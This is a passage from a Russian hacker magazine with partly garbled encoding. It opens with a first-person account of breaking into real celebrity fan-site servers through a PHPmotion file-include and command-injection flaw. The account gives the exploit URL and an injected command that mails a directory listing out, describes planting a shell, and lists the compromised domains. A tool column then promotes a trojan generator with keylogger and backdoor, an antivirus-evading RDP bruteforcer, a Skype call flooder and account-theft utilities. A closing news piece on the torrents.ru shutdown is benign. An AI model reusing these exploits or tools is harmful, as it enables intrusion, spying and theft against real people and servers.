более внимательно продолжить изучение 
исходников PHPmotion.

ÃËÓÁÎÊÎÅ ÏÐÎÍÈÊÍÎÂÅÍÈÅ
На этот раз мое внимание зацепилось 
за файл ./uploader_finished.php, который 
отвечает за загрузку и перекодировку 
видео. Смотри сам:

<?php

...

$temp_dir = $_REQUEST['temp_dir'];

// Get all the posted values from 

the .param file

$_POST_DATA = getPostData(

 $temp_dir, $_REQUEST['tmp_sid']);

...

foreach ($_POST_DATA as 

  $post_key => $post_value) {

 if (preg_match("/^upfile_/i", 

   $post_key)) {

  $uploaded_file_name = 

   $post_value;

  ...

 }

}

...

function getPostData(

  $up_dir, $tmp_sid) {

 ...

 $paramFileName = $up_dir . 

  $tmp_sid . ".params";

 $fh = @fopen($paramFileName,

  'r');

 ...

 while (!feof($fh)) {

  $buffer = fgets($fh, 4096);

  list($key, $value) = 

   explode('=', trim($buffer));

  $value = str_replace(

   "~EQLS~", "=", $value);

  $value = str_replace(

   "~NWLN~", "\r\n", $value);

  ...

  $param_array[$key] = $value;

 }

Логины и пароли пользователей videos.sam-worthington.net

IDS в PHPmotion
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 ...

 return $param_array;

}

...

@exec("$path_to_php $convertor $uploaded_file_name> /

dev/null &");// (>/dev/null & part is what sends to 

background)

...

?>

Здесь скрипт получает параметры temp_dir и tmp_sid, в которых 
кроется имя файла с некоторыми параметрами для перекодировки 
видео. В этом случае ни один из таких параметров никоим образом не 
проверяется. А теперь, внимание — способ потрошения этого кода :).
1. Заливаем на левый сервер site.com файл с именем, например, 
test.txt, в нем пишем следующее:

upfile_=test.mp3;ls -la|mail òâîå_ìûëî@gmail.

com~NWLN~id

2. Авторизуемся в PHPmotion;
3. Переходим по ссылке: www.videos.sam-worthington.net/
uploader_finished.php?temp_dir=http://site.com/test.txt%00;
4. Видим на своем мыле листинг файлов текущей директории 
нашего фан-сайта.
При выполнении последних пунктов в скрипте происходит следующее:
1. Переменная $paramFileName принимает значение "http://site.
com/test.txt" (".params" после нулл-байта отбрасывается);
2. ~NWLN~ в файле test.txt заменяется новой строкой;
3. Переменная $uploaded_file_name берется из test.txt;
4. Запрос в exec принимает следующий вид:

/usr/bin/php /home/site/public_html/phpmotion20/

convertor.php test.mp3;ls -la|mail òâîå_ìûëî@gmail.

com

id> /dev/null &<

Как видишь, все гениальное просто :). Теперь оставалось лишь 
найти директории или файлы, которые были бы открыты на запись, 
но... таковых в текущей директории не оказалось. Так как доволь-
ствоваться лишь одной админкой видео-раздела фан-сайта Сэма 
я не хотел, нужно было любыми способами залить свой шелл хоть 
куда-нибудь в пределах данного сервера.

ÂÅÑÅËÛÅ ÑÎÑÅÄÈ
Решив поискать соседей Сэма Уортингтона, я попытался добраться до 

конфигурационного файла Апача httpd.conf (/usr/local/apache/conf), 
но здесь снова ждала неудача — он был доступен для чтения только 
руту (я же имел жалкие права nobody). В данной ситуации мне смог 
помочь только один из «Reverse IP» сервисов www.yougetsignal.
com/tools/web-sites-on-web-server/ и чтение файла /etc/passwd.
Как оказалось, на данном сервере хостится великое множество 
видео-подразделений известных фан-сайтов зарубежных звезд.
Одной из первых открыла объятия для моего шелла Рэйчел 
МакАдамс (media.rachelmcadams.org). Я залил его в доступную 
директорию /home/rachelmd/public_html/uploads/avi и рулил 
множеством фан-сайтов одновременно довольно долгое время. 
Вот список наиболее известных ресурсов этого сервера:

media.aguileraworld.com — Êðèñòèíà Àãèëåðà 

media.bielfan.com — Äæåññèêà Áèåëü

media.clive-owen.org — Êëàéâ Îóýí

media.jtimberlake.net — Äæàñòèí Òèìáåðëåéê

media.kirsten-d.com — Êèðñòåí Äàíñò

media.shialabeouf.us — Øàéÿ ËàÁàô

media.tomcruiseforever.com — Òîì Êðóç

media.xfilesitalianfansite.net — Ñåêðåòíûå Ìàòåðèàëû

tube.ultimate-avril.com — Àâðèë Ëàâèí

videos.a-brody.net — Àäàì Áðîóäè

videos.bradpittweb.com — Áðýä Ïèòò

videos.johnkrasinski.net — Äæîí Êðàñèíñêè

videos.rene-russo.org — Ðåíå Ðóññî

videos.twilightfan.fan-sites.org — Ñóìåðêè

www.madonnamedia.fan-sites.org — Ìàäîííà

www.media.annehathawayfan.com — Ýíí Õåòåóýé

www.media.christian-bale.org — Êðèñòèàí Áýéë

www.media.johnnydepp-fan.com — Äæîííè Äåïï

www.media.mattdamonfan.org — Ìýòò Äåéìîí

www.media.monicabelluccifan.com — Ìîíèêà Áåëó÷÷è

www.videos.jess-alba.org — Äæåññèêà Àëüáà

Немного погуглив по теме, я узнал, что все основные западные 
фан-сайты располагаются на бесплатном хостинге от fan-sites.
org, один из серверов которого я благополучно поимел :).

ÕÝÏÏÈ ÝÍÄ
Если ты поклонник творчества какой-либо известной лично-
сти, будь то актер или певец, я думаю, что не стоит открывать 
большое комьюнити, предварительно не позаботившись о его 
безопасности. Миллионы фанов по всему миру общаются и 
обмениваются информацией о своих любимцах на базе уязвимых 
платформ. Так что задумайся: настолько ли необходимо вгонять 
в краску наших общих кумиров из-за нерадивых поклонников? z  
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ПРОГРАММЫ ДЛЯ ХАКЕРОВ

ПРОГРАММА: GeneratorTroj
ОС: WINDOWS 2000/2003/XP/VISTA/7
АВТОР: NOXJOKER

Представляю твоему вниманию неплохую аль-
тернативу знаменитому Пинчу и его модифи-
кациям — навороченный генератор троянов от 
noxjoker.
Если перед тобой когда-либо встанет задача 
проследить за подругой или недругом (исключи-
тельно в образовательных целях), то эта прога, 
несомненно, сделает все возможное, чтобы 
снабдить тебя необходимыми паролями, скрин-
шотами и файлами.
Функционал и особенности утилиты следующие:

• Îòïðàâêà äàííûõ íà e-mail è/èëè 

FTP;

• Èçâëå÷åíèå cookies èç Mozilla 

FireFox, Opera, IE, Google Chrome;

• Èçâëå÷åíèå ïàðîëåé èç ICQ 6.0 è QIP 

Infium;

• Äîáû÷à íóæíûõ ôàéëîâ ñ êîìïüþòåðà 

æåðòâû;

• Âñòðîåííûé KeyLogger (ñëåæåíèå çà 

íàæàòèåì êëàâèø) ñ âîçìîæíîñòüþ âû-

áîðà ðàçäåëèòåëÿ è ïåðèîäà îòïðàâêè 

îò÷åòà;

• Âîçìîæíîñòü ñäåëàòü ñêðèíøîò — 

ñíèìîê âñåãî ïðîèñõîäÿùåãî â äàííûé 

ìîìåíò íà ýêðàíå æåðòâû (ôèøêè: 

âûáîð ïåðèîäà ñîçäàíèÿ ñêðèíøîòîâ, 

êîëè÷åñòâà ñîçäàâàåìûõ ôàéëîâ, èõ 

èìåíè è ðàñøèðåíèÿ, óäàëåíèå ñîçäà-

âàåìîãî ôàéëà, ñîõðàíåíèå ëîêàëüíî);

• Âîçìîæíîñòü çàìåíû ñèìâîëîâ â áó-

ôåðå îáìåíà (èñïîëüçóåòñÿ, íàïðèìåð, 

äëÿ ïîäìåíû êîøåëüêîâ);

• Çàâåðøåíèå óêàçàííîãî ïðîöåññà;

• Remote desktop control (ìíîãîïî-

òî÷íûé ðåæèì, ñîçäàíèå ó÷åòíîé çà-

ïèñè íà êîìïüþòåðå æåðòâû, îòïðàâêà 

IP-àäðåñà);

• Backdoor — ñêðûòîå óïðàâëåíèå êîì-

ïüþòåðîì (òû ÿâëÿåøüñÿ «ñåðâåðîì», 

æåðòâà — «êëèåíòîì»); 

• Ðàáîòà ñ ôàéëîì hosts (íåâèäè-

ìàÿ ïåðåàäðåñàöèÿ ñ îäíîãî ñàéòà íà 

äðóãîé).

Если у тебя есть какие-либо пожелания или 
предложения по работе программы, смело 
направляй их автору по адресу exploit.in/forum/
index.php?showtopic=34995.

 ПРОГРАММА: DUVET
ОС: WINDOWS 2000/2003/XP/
VISTA/7
АВТОР: ПУХОВОЙ
Очень часто нашему брату становится необхо-
димо заиметь сотни, а то и тысячи аккаунтов на 
различных популярных порталах и в социаль-
ных сетях (желательно, бесплатно :). Ребята из 
команды downteam.ru помогут тебе решить эту 
мерзопакостную проблему.
Итак, программа для автоматической и много-
поточной регистрации аккаунтов в различных 
популярных веб-сервисах — это Duvet.
Прога с легкостью сможет нарегать для тебя 
кучу аккаунтов в таких проектах, как: mail.
ru, chat.ru, e-mail.ru, bigmir.net, yandex.ru, 
rambler.ru, moemesto.ru, 100zakladok.ru, 
vzakladki.com.ua, postquickly.ru, bookmark-
wizard.ru, mylink.org.ru, tvoirod.ru, addtome.ru, 
bobrdobr.ru.
Особенности программы:

• Ïîääåðæêà ñîêñîâ è ïðîêñèêîâ;

• Ïîääåðæêà ñåðâèñà antigate.com;

• Ïîääåðæêà ìíîãîïîòî÷íîñòè;

• Îïöèîíàëüíàÿ ðåãèñòðàöèÿ ICQ-íî-

ìåðîâ (íàïðèìåð, bigmir.net è

ramble r .r u ïîçâîëÿþò ðåãèñòðèðîâàòü 

àñüêè âìåñòå ñ àêêàóíòîì).

За обновлениями, советами и халявными 
ключиками Антигейта — добро пожаловать 

на официальную страницу проги (downteam.
ru/2010/01/duvet.html).

ПРОГРАММА:  РЕТРИВЕР 1X
ОС: WINDOWS 2000/2003/XP/
VISTA/7
АВТОР:  ПУХОВОЙ

На повестке дня еще одна замечательная про-
грамма от downteam.
Представим следующую ситуацию: у тебя 
имеется куча мыльников от аккаунтов ВКонтакте 
(своих, конечно же :) и тебе необходимо вспом-
нить пароль к этим аккаунтам с помощью рет-
рива через мыло. Так как вбивать все это дело 
вручную малоэффективно, советую внимательно 
присмотреться к проге Ретривер 1x.
Ретривер 1x — это утилита, которая вспоминает 
пароли от всех твоих аккаунтов за несколько 
кликов.
Кроме того, что данный инструмент поможет 
тебе ретривнуть пароли по списку аккаунтов 
ВКонтакте, он еще и сможет провести раз-
личные процедуры с указанными почтовыми 
ящиками. Принцип работы программы прост и 
полностью автоматизирован. Все, что ей будет 
от тебя необходимо — это список аккаунтов в 
стандартной маске “email:password”.
Особенности Ретривера:

• Âåñü ôóíêöèîíàë ïðîãè óìåñòèëñÿ â 

äâà ðåæèìà ðàáîòû è âêëàäêó ñ ïð îê-

ñ ÿìè;

• Ïîääåðæêà ìíîãîïîòî÷íîñòè (êîëè-

÷åñòâî ïîòîêîâ âûñòàâëÿåòñÿ âðó÷-

íóþ);

• Ïîääåðæêà àíòèêàï÷è ÷åðåç ñåðâèñ 

antigate.com;

• Ðàáîòà ÷åðåç ñïèñêè ñîêñîâ è ïðîêñè 

(simpleproxy.ru);

• Âåñü ïðîöåññ ðàáîòû ñîïðîâîæäàåòñÿ 

ñòàòóñàìè («Â ðàáîòå», «Âîññòàíîâ-

ëåíî», «Íå âîññòàíîâëåíî»).

Настройка генератора троянов

X-TOOLS

ВЗЛОМ

Интерфейс программы

Восстанавливаем пароли ВКонтакте
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Теперь немного подробнее о режимах работы 
проги:
1. «Базовый режим» — простое восстановление 
паролей по списку твоих почтовых аккаунтов. 
Программа делает запрос на восстановление 
пароля, затем осуществляет проверку на почто-
вом сервере (поддерживаются все популярные 
почтовые службы рунета) и забирает пароль 
от аккаунта ВКонтакте. После чего полученное 
письмо удаляется.
2. «Проверка e-mail». В случае, если тебе по-
надобится провести только проверку почтовых 
аккаунтов — переключайся на этот режим. С его 
помощью ты сможешь отсортировать почтовые 
адреса, удалить дубликаты и прочий мусор, а 
также проверить акки мыла на валидность.
В результате ты получишь готовые к работе 
аккаунты в окне интерфейса программы, а также 
списки аккаунтов, которые будут разбиты по ка-
тегориям (валидные акки ВКонтакте, валидные 
адреса почтовых ящиков к ним, общий список 
валидных мыл, общий список невалидных 
мыл и общая база на обработку) и находиться в 
файлах в папке с прогой.

ПРОГРАММА:  BRUTTY

ОС: WINDOWS 2000/2003/XP/VISTA/7
АВТОР:  ANGER && U.J.ANGER

Продолжая добрую традицию нашей рубрики, 
представляю тебе Brutty — очередной брутфорс 
учетных записей к удаленным рабочим столам 
на дедиках, основанный на бруте от Rankor'а.
Особенности и отличия от других программ 
такого рода:

• Ìàëåíüêèé ðàçìåð (~500Êá);

• Îòñóòñòâèå â áàçàõ àíòèâèðóñîâ;

• Èíòåãðèðîâàííûé GUI äëÿ ðàáîòû ñ 

VNC scanner;

• Ìíîãîïîòî÷íîñòü;

• Ñîçäàíèå ñîáñòâåííîãî ñåðâèñà â 

Windows (ïîçâîëÿåò çàïóñêàòü ïðî-

öåññû áðóòà èç-ïîä ó÷åòíîé çàïèñè 

System);

• Âîçìîæíîñòü ñìåíû èìåíè ãðèíäåðà 

íà Svchost.exe (ïîçâîëÿåò ïîçà-

áîòèòüñÿ î íåîáíàðóæåíèè àäìèíàìè 

äåäèêà);

• Íå òðåáóåò äîïîëíèòåëüíûõ áèáëèî-

мательной утилиты Checker Antigate, которая, 
как видно из названия, чекает аккаунты antigate.
com. Для начала процесса чека кладем в файлик 
login_pass.txt список вида “login;pass”. При 
успешном чеке на выходе ты получишь файл 
good.txt, где будут содержаться валиды в виде 
“логин;пароль;кей [баланс]”. Базы пользовате-
лей антигейта можно сграбить, например, с ка-

кого-либо форума, затем сгенерировать пароли. 
За еще одной модификацией утилиты, которая 
чекает (на этот раз только списки ключей) — 
добро пожаловать на grabberz.com/showpost.
php?p=278269&postcount=5. 

ПРОГРАММА:  NOSOCKS
ОС: WINDOWS 2000/2003/XP/VISTA/7
АВТОР: RANKOR
Ты наверняка уже поднял множество прокси и 
сокс-серверов с помощью утилит, представлен-
ных на страницах нашей рубрики. Пришло вре-
мя представить тебе еще один удобный и крайне 
компактный SOCKS4-сервер от известного тебе 
кодера RankoR. Особенности сервера включают 
в себя следующее:

• Ñîêñ íàïèñàí íà ÷èñòîì Ñè áåç èñ-

ïîëüçîâàíèÿ êàêèõ-ëèáî äîïîëíèòåëü-

íûõ áèáëèîòåê;

• Ïîäõîäèò êàê äëÿ áðàóçåðîâ, òàê è 

äëÿ áðóòôîðñåðîâ ICQ;

• Ïðèâÿçûâàåòñÿ ê ïîðòó 1080;

• Âåäåò ïðèáëèçèòåëüíóþ ñòàòèñòèêó 

èñïîëüçîâàíèÿ;

• Ïîòðåáëåíèå ïàìÿòè ñâåäåíî ê ìèíè-

ìóìó (2-5 Ìá);

• Èìååò êðîõîòíûé ðàçìåð 3,91 Êá 

(ïîñëå UPX, Debug-êîíôèãóðàöèÿ).

За подробностями и советами снова советую 
обращаться на Асечку: forum.asechka.ru/
showthread.php?t=118622.z

òåê (âñå íóæíûå áèáëèîòåêè èíòåãðè-

ðîâàíû â èñïîëíÿåìûé ôàéë);

• Ñîõðàíåíèå ïàðàìåòðîâ áðóòà.

Ìîäèôèêàöèÿ óòèëèòû îò u.j.anger 

âêëþ÷àåò â ñåáÿ ñëåäóþùèå ôè÷è:

• Èñïðàâëåíèå áîëüøîãî êîëè÷åñòâà 

íåäîðàáîòîê;

• Ïåðåðàáîòêà ñëóæáû windef;

• Äîáàâëåí SMTP-êëèåíò (äëÿ îòïðàâêè 

ðåçóëüòàòîâ íà ìûëî);

• Óëó÷øåíèå ñêðûòíîñòè êëèåíòà.

Если у тебя есть вопросы по работе брутфорса, 
направляй их прямо в топик на Асечке: http://
forum.asechka.ru/showthread.php?p=633911.

ПРОГРАММА:  SKYPEFLOODER
ОС: *NIX/WIN
АВТОР:  INLANGER && LOGIN999

Давненько у нас не было ничего интересного для 
Skype. Настала пора исправить это недоразу-
мение. Как видно из названия, SkypeFlooder 
— это флудер любых телефонов, написанный на 
Python и работающий через Скайп.
На данный момент программа умеет следую-
щее:

• Çàïðàøèâàòü íîìåð òåëåôîíà æåðòâû;

• Çàïðàøèâàòü ïàóçó ìåæäó çâîíêàìè;

• Çâîíèòü íà íîìåð æåðòâû è æäàòü 

ïîäíÿòèÿ òðóáêè;

• Åñëè æåðòâà áåðåò òðóáêó, ñáðàñû-

âàòü çâîíîê, âûäåðæèâàòü âûáðàííóþ 

òîáîé ïàóçó è çâîíèòü çàíîâî;

• Åñëè æåðòâà æìåò íà «îòáîé âûçî-

âà», òî, îïÿòü æå, çâîíèòü çàíîâî.

Особенность флудера заключается в том, что 
деньги не успевают уйти с твоего скайповского 
аккаунта (если вдруг данная неприятность 
все же случится, просто поставь большую 
паузу межу звонками). В скором времени автор 
обещал нам GUI-версию утилиты, за которой 
ты сможешь обратиться в топик на Античате: 
forum.antichat.ru/thread116226.html. А пока ты 
сможешь воспользоваться оригинальной про-
гой, немного измененным и оптимизированным 
скриптом от login999 и exe-версией флудера.

ПРОГРАММА:  CHECKER ANTIGATE
ОС: WINDOWS 2000/2003/XP/VISTA/7
АВТОР: ̂ TERIKON^
Во многих программах, представленных в наших 
обзорах, используется замечательный антикап-
ча-сервис от antigate.com.
Остается лишь один вопрос — где взять ва-
лидные ключи антикапчи? Ведь покупать их не 
слишком сильно хочется :).
Один из ответов кроется в возможностях зани-

Брутим дедики

Флудим по Скайпу

Чекер антикапчи

Сокс-сервер за работой
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TORRENTS.RU
На страницах ][ мы частенько обращаемся 
к вопросам авторского права и лева — мы 
рассказывали тебе о самых ярких активис-
тах в области свободного ПО, освещали 
громкие судебные процессы, следили за 
принятием новых законов. Но почти все это 
время наши рассказы посвящались видным 
западным деятелям и событиям. Почему 
так происходило — понять несложно, ведь 
до некоторых пор борьба с пиратством в 

нашей стране ограничива-
лась в основном образцово-
показательными рейдами 
на подпольные фабрики по 
штамповке дисков, которые 
затем красиво давили грузовиком 
перед камерой (диски, не фабрики). 
Согласись, в сравнении с запад-
ными копирайт-войнами — это 
детский лепет. 
Тем не менее, Россия уже 

СЦЕНА
  Мария «Mifrill» Нефедова mifrill@real.xakep.ru
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Â ïîñëåäíåå âðåìÿ âñå ÷àùå ìîæíî 
óñëûøàòü ãðóñòíûå øóòêè î òîì, 
÷òî êàêàÿ-òî çàðàçà âñå æå ðàññêàçàëà 
íàøèì ÷èíîâíèêàì î ñóùåñòâîâàíèè 
èíòåðíåòà. Â ñàìîì äåëå, íàøå ïðàâè-
òåëüñòâî è ñèëîâûå ñòðóêòóðû 
îáðàòèëè ñâîè âçîðû íà âñåìèðíóþ 
ïàó òèíó íåäàâíî, íî «ïðèíèìàòü 
ìåðû» íà÷àëè î÷åíü àêòèâíî. Ñåãîäíÿ 
ïîãîâîðèì î ïàðå íåäàâíèõ ãðîìêèõ 
ïðåöåäåíòîâ è î òîì, êàê «íàøà ìèëè-
öèÿ íàñ áåðåæåò». Ïðåèìóùåñòâåííî 
îò ôàéëîîîáìåíà.  
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много лет уверенно держится в списках стран с самым высоким 
уровнем пиратства. С развитием интернета эти показатели, само 
собой, не улучшаются, даже напротив — «пиратствовать» ста-
новится все удобнее и проще. Конечно, такое положение вещей 
не могло долго оставаться незамеченным наверху, но вот беда 
— когда его заметили, было уже поздновато душить все это в 
зародыше, так как «зародыш» давно преобразился в настоящего 
монстра. В результате сейчас средства борьбы с файлообменом 
в России зачастую выглядят чудесато — момент давно упущен, 
но чиновникам и силовикам все равно очень хочется сделать 
хоть что-нибудь.   
Итак, перед тем как перейти непосредственно к рассказу о «закры-
тии» torrents.ru, немного истории. 
До поры до времени ситуация вокруг крупнейшего российского 
торрент-трекера складывалась крайне благоприятно. Начавший 
свою работу в 2004 году, torrents.ru рос и развивался быстро, если 
не сказать, что в геометрической прогрессии. Другим трекерам, 
которые в те годы плодились как грибы после дождичка, такие 
потоки трафика и не снились, а если и снились, то исключительно в 
кошмарах. 
Когда популярность ресурса достигла определенной отметки (то есть 
трекер гремел уже по всему рунету), на torrents.ru вполне предсказуе-
мо принялись коситься правообладатели. Особенно тогда взволнова-
лись наши, российские, копирасты, так как им, в отличие от заокеанс-
ких коллег, было куда понятнее, что здесь происходит и куда это ведет. 
То был очень острый момент, и до сих не совсем понятно, как вышло, 
что torrents.ru не прикрыли еще тогда, не засудили, не положили его 
намертво бесконечным DDoS’ом или не предприняли иных «кара-
тельных мер».  Конечно, всех подробностей и деталей относительно 
достижения консенсуса между командой трекера и правооблада-
телями мы не узнаем никогда, но вот итог широкой публике хорошо 
известен. История, можно сказать, разрешилась миром — torrents.ru 
позволили продолжать существовать. 
Дело в том, что в 2007 году создатели torrents.ru заявили о недо-
пустимости пиратства. Столь непопулярную в рунете точку зрения 
поддержала далеко не вся команда трекера, и ряд участников тогда 
проект покинули (выходцами с torrents.ru потом были основаны 
такие ресурсы как Free-Torents.org и Tapochek.net). Зато было 
достигнуто взаимопонимание с правообладателями. Отныне 
раздачи, нарушающие авторские права и закон, стали закрываться 
и удаляться с трекера по первому требованию (справедливости 
ради отметим, что они и раньше удалялись, но не столь активно), а 
представителям крупных компаний и вовсе были розданы админс-
ко-модераторские права, дабы они сами напрямую могли вычищать 
неугодное. 
Одним словом, команда ресурса предпочла пойти с правообладате-
лями на диалог и попытаться найти решения, которые устроили бы 
всех. Да, как ни удивительно, не все жаждут прорваться в политику 
и воевать за свободу информации в Сети, как это делают админы 
The Pirate Bay.  
Конечно, сетевая общественность не порадовалась такому пово-
роту событий — публика клеймила крупнейший российский трекер 
позором, кричала о том, что torrents.ru продались, прогнулись, 
опопсели и тому подобное. Однако время шло, а никаких массо-
вых репрессий, которые прочили трекеру особо разгневанные 
злопыхатели, не последовало. Вопреки прогнозам, torrents.ru не 
превратился в коммерческий ресурс с малочисленными, только 
100% легальными раздачами. Кстати, по словам представителей 
трекера из-за нелегальности закрываются всего 2-3% раздач (в 
то время как от недостатка сидов погибает куда большее число), а 
единственный доход команды по сей день проистекает от рекламы, 
которую они крутят на форуме.
Можно ли сказать, что таким образом torrents.ru нашли приемле-
мый компромисс и некую точку баланса? Полагаем, что можно, осо-
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бенно если сравнивать все это с западными 
баталиями не на жизнь, а на смерть между 
владельцами торрент-трекеров и копирас-
тами — там о «диалоге» речи уже давно не 
идет.
Но если бы и дальше все шло так же безоб-
лачно, этой статьи не было бы вовсе. 
ЧП приключилось неожиданно, как это 
всегда и бывает. 
В один прекрасный зимний день, а именно 
— 18 февраля 2010 года, зайдя по адресу 
torrents.ru, миллионы пользователей с 
удивлением узнали, что «делегирование 
домена torrents.ru было приостановлено 
регистратором «Ру-Центр» по представ-
лению отдела СКП (Следственный комитет 
при прокуратуре РФ) по Чертановскому 
району г. Москвы от 16.02.2010». Никаких 
подробностей, официальных заявлений и 
тому подобного не было, что только подлило 
масла в огонь народного негодования. Весь 
рунет буквально вскипел, обсуждая случив-
шееся, выдвигая самые безумные пред-
положения и строя догадки, из-за чего же 
трекер закрыли. Впрочем, народная паника 
слегка поутихла, когда трекер в считанные 
часы спокойно возродился по адресу http://
rutracker.org. Стало понятно, что о грядущей 
«приостановке делегирования» админист-
рацию, скорее всего, предупредили.

Но хотя трекер заработал, у людей вовсе не 
пропало желание разобраться в проблеме 
и понять, на каком основании на любимый 
ресурс так «наехали». Ситуация, тем вре-
менем, мало-помалу начала проясняться, и 
чем больше подробностей появлялось, тем 
страннее все это выглядело. 
Здесь стоит отметить, что поначалу в прессе 
и кратких комментариях представителей 
СКП фигурировал чуть ли не судебный иск от 
компании Autodesk. Логика также подска-
зывала, что некий иск или иной веский юри-
дический повод должны были иметь место 
— даже в России не каждый день закрывают 
такие огромные ресурсы. Но применять к 
данной ситуации логику оказалось несколь-
ко поспешным решением... 
Несколько дней спустя, в то время как 
трекер обживался на новом домене, а 
рунет продолжал бурлить, представители 
Autodesk официально заявили, что компа-
ния не располагала информацией о готовя-
щемся закрытии Torrents.ru и уж тем более 
не являлась инициатором рассмотрения 
дела. Примерно в этот же отрезок времени 
от причастности ко всей происходящей 
неразберихе открестились компания 1C , а 
также ряд печально известных на просторах 
нашей родины правообладателей.  
Но дело у СКП все же было, и какое! Судя 

по тому, как следственный комитет тянул с 
конкретным ответом на вопрос «за что?!», 
им самим было как-то неловко. 
Оказалось, произошло следующее: 26 янва-
ря текущего года некий житель Москвы «за-
писал на жесткий диск ЭВМ» контрафакт-
ную русскую версию программы AutoCAD 
от компании Autodesk (наконец стало ясно, 
причем здесь вообще Autodesk!). Но чувак 
не просто имел у себя пиратскую версию 
проги, нет, он совершил ужасное злоде-
яние — записал ее на чужой хард, да еще 
посмел получить за это вознаграждение в 
размере 1,5 тысяч рублей. О причастности 
к этим страшным масштабным махинациям 
трекера torrents.ru следователи, судя по 
всему, уже догадались сами (каким именно 
образом — неизвестно, но мы подозреваем, 
что дедуктивным методом). Руководствуясь 
этим внезапным озарением, представите-
ли «органов», обратились в «Ру-Центр» с 
просьбой приостановить делегирование 
домена на время проведения предвари-
тельного следствия, ради «предотвраще-
ния совершения подобных преступлений». 
Ну а в «Ру-Центре» внезапно оказались 
только рады помочь и посодействовать, 
без каких-либо предупреждений в адрес 
администрации трекера «исполнив свой 
гражданский долг». Ты ощущаешь, как по-
вышается градус маразма? То ли еще будет.
Мало того, что к админам бывшего torrents.
ru не поступало никаких претензий, и они 
узнавали о происходящем из тех же источ-
ников, что и взволнованные пользователи, 
то есть из СМИ, вся эта чехарда к тому же 
мистическим образом совпала сразу с двумя 
очень любопытными событиями. 
Первым событием являлось открытие «пер-
вого легального онлайн-кинотеатра Рунета» 
EKinoT.ru. Нет, насчет «первого легально-
го» — это не шутка, это цитата. Создатели 
данного ресурса аккурат в конце января 
грозились совместно с Министерством куль-
туры РФ провести ряд спецмероприятий по 
борьбе с контрафактом в Сети. Если точнее, 
отдел «К», прокуратура Москвы и ОБЭП УВД 
по ЮВАО планировали пристально изучить 
ресурсы Torrents.Ru, ShareReactor.Ru и иже 
с ними. Вероятно, этот план был воплощен 
в жизнь, и словосочетание «закрытый тре-
кер» вышеупомянутые ребята восприняли 
как-то чересчур буквально.
Вторым же событием был визит в Россию 
делегации сильных от мира IT. В кон-
це февраля нашу страну почтили своим 
присутствием представители eBay, Twitter, 
Cisco Systems, Howcast, Edventure, Social 
Gaming Network и Mozilla. Ученые, военные 
и бизнесмены приезжали из-за океана 
обмениваться опытом. Все проходило на 
самом высшем уровне, а в составе делега-
ции присутствовали, например, основатель 
Twitter, Джек Дорси, и Эштон Кутчер, кото-
рый не только актер, но и исполнительный 
директор Catalys. 
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Странноватое получается совпадение — 
руководители крупнейших технологических 
компаний США приезжают в Россию, и у нас 
тут же закрывается самый страшный «рас-
садник пиратства». Образцово-показатель-
но закрывается, без объяснений причин и 
главное, совершенно неправомерно. 
Относительно неправомерности хотелось 
бы сделать небольшое отступление. Дело в 
том, что судиться с владельцами трекеров — 
дело хлопотное даже по западным меркам, 
а уж по российским — и подавно. Хитрость 
состоит в том, что на самих торрент-тре-

керах никакого контрафактного контента 
нет, там есть только ссылки. Если упрощать 
до максимума, то трекеры — по сути лишь 
ресурсы, помогающие людям найти друг 
друга. Если уж кто-то и нарушает авторские 
права, то это пользователи торрентов, а не 
владельцы трекеров. 
Да, конечно, под таким углом на p2p-сети 
согласны смотреть далеко не все, и все это 
действительно очень спорно, ведь в неко-
торых случаях деятельность трекера может 

быть расценена как содействие в такого 
рода нарушениях... Как бы то ни было, с пра-
вовой точки зрения вышеизложенное 
создает огромные проблемы. Нашим 
доблестным «органам» таких проблем, 
очевидно, не хотелось, поэтому они изящно 
обошлись без решения суда.  
Что до действий «Ру-Центра» в данной си-
туации, просто процитируем самих предста-
вителей администрации rutraker.org: «Мало 
того, что действия «Ру-Центра» неправо-
мерны и прямо нарушают его же собствен-
ные договора и правила. Они фактически 
дискредитируют саму доменную зону *.RU, 
поскольку «Ру-Центр» является крупнейшим 
регистратором доменов (и одновременно 
преемником РосНИИРОС-а). «Ру-Центр» 
успешно показал всему миру, что функциони-
рование любого домена в зоне .RU зависит от 
рядового чиновника, а регистратор — просто 
формальный исполнитель его воли». Пред-
ставители «Ру-Центра», в свою очередь, 
хранили долгое молчание, а потом пожало-
вались, что прокуратура выписала слишком 
радикальное предписание, и им больше 
ничего не оставалось. Прокуратура в ответ 
скромно заявляла, что никакого предписа-
ния не было, вместо него была «просьба», 
а к владельцам трекера претензий и вовсе 
никаких. Просто замечательно — претензий 
ни у кого нет, а домен уплыл.  
Ну а теперь подведем итог — rutraker.org 
продолжает свою работу по новому адресу, 
где до него не могут добраться наши власти. 
Старый домен администрация планирует 
вернуть, но только ради восстановления 
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справедливости и редиректа. Цитируя 
представителей трекера: «Использовать 
домен в зоне .ru после данного инцидента 
как-то... сыкотно)».
Компания Dreamtorrent Corp.(официальные 
владельцы нашего «национального бит-
торрент трекера») также намеревалась по-
дать в суд на «Ру-Центр», к которому после 
случившегося имеется много вопросов. Как 
ни смешно, с юридической точки зрения 
произошедшее может выйти боком именно 
«Ру-Центру», а не трекеру. 
Кстати, пересматривать свои прави-
ла и взгляды в отношении копирастов 
команда трекера по случаю переезда не 
намеревается.          
        
      

IFOLDER.RU
Второй прецедент, который мы рассмотрим 
сегодня, тоже произошел совсем недавно, и 
ты наверняка о нем слышал. 
Полагаю, ты в курсе, что файлообменник 
ifolder.ru является одним из крупнейших 
файловых хостингов в России (если нет, 
то теперь уж точно в курсе). Наши юзеры 
предпочитают западным RapidShare и 
Depositfiles именно этот «склад», и лишнее 
тому доказательство — 1,5 млн. зарегист-
рированных пользователей. Принадлежит 
данный ресурс крупной и уже достаточно 
старой российской IT-компании Agava. 
И все у ifolder.ru было хорошо, так же как 
и у «национального торрент-трекера» — в 
«Агаве» всегда шли навстречу правообла-
дателям и правоохранительным органам, то 
есть удаляли пиратский и/или нарушающий 
закон контент по первому же требованию и 
всячески содействовали «органам». 
Да простят меня владельцы rutracker.org за 
такое сравнение, но, в отличие от их ресур-
са, у агавовской файло-помойки репутация 
куда чище. В этой связи произошедшее с 
ifolder.ru в марте этого года выглядит не 
просто странно, а очень странно.

Итак, на этот раз обойдемся без предысто-
рий и сразу перейдем к сути.
Вечером 17-го марта текущего года ifolder.
ru вдруг стал недоступен. Почти сразу в 
Сети появилась информация о том, что в 
дата-центр Golden Telecom по адресу 2-ая 
ул. Энтузиастов д. 5, явились следователи 
из 3-й ЧС ГСУ при ГУВД Москвы. Товари-
щи из «органов» предъявили протокол о 
необходимости проведения оперативно-ро-
зыскных мероприятий с целью поиска улик, 
